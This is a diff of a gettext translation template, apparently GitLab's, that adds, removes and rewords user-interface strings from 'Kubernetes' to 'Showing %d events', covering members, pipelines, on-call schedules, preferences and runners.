msgid "Kubernetes"
msgstr ""
@@ -15487,9 +15884,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15583,6 +15977,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15610,9 +16007,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15643,9 +16037,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15709,9 +16100,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15751,18 +16139,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15778,9 +16157,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15886,6 +16262,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -15906,6 +16285,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16110,9 +16492,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16173,16 +16552,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16245,7 +16618,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16257,7 +16630,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16305,6 +16678,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16329,9 +16705,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16488,7 +16861,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16524,9 +16900,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16536,12 +16921,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16560,6 +16954,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16611,6 +17008,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16662,6 +17062,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17218,6 +17621,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17323,6 +17729,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17356,12 +17765,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17419,7 +17822,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17515,6 +17918,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17642,6 +18048,9 @@ msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{
msgstr[0] ""
msgstr[1] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17675,6 +18084,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17900,7 +18312,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18052,6 +18464,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18157,9 +18572,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18343,9 +18755,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18382,6 +18791,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18400,6 +18812,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18412,6 +18827,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18451,6 +18869,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18487,9 +18908,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18505,6 +18932,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18514,6 +18944,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18640,6 +19073,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18655,9 +19115,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18682,9 +19139,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18697,6 +19151,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18706,7 +19166,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18729,9 +19189,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18813,6 +19270,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -18879,9 +19339,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -18927,6 +19384,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19083,6 +19543,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19197,6 +19660,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19221,9 +19687,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19488,6 +19951,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19596,9 +20062,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19644,6 +20107,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19656,6 +20122,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19665,6 +20134,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19890,6 +20365,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19899,9 +20377,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20064,18 +20539,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20085,9 +20554,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20109,9 +20575,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20166,6 +20629,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20295,6 +20761,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20304,6 +20788,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20334,6 +20821,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20691,9 +21181,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20946,7 +21433,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20988,6 +21478,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21048,9 +21541,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21072,6 +21562,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21141,6 +21637,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21522,6 +22021,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21837,6 +22339,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -21990,6 +22495,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22073,9 +22581,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22150,6 +22655,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22177,9 +22685,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22384,9 +22889,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22402,15 +22904,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22489,6 +22988,14 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22521,6 +23028,11 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22572,6 +23084,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22602,12 +23117,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22635,6 +23156,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22668,10 +23192,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22789,12 +23313,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -22921,6 +23451,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -22959,6 +23492,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -22979,6 +23515,9 @@ msgstr[1] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23048,6 +23587,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23111,12 +23653,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23144,9 +23680,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23249,12 +23782,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23273,7 +23800,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23330,15 +23857,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23441,6 +23962,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23480,9 +24004,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23562,6 +24083,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23748,6 +24272,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23912,6 +24439,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24029,9 +24562,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24374,12 +24904,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24422,21 +24946,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24455,6 +24988,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24551,9 +25087,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24608,13 +25141,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24643,6 +25179,9 @@ msgid_plural "Showing %d events"
msgstr[0] ""
msgstr[1] ""
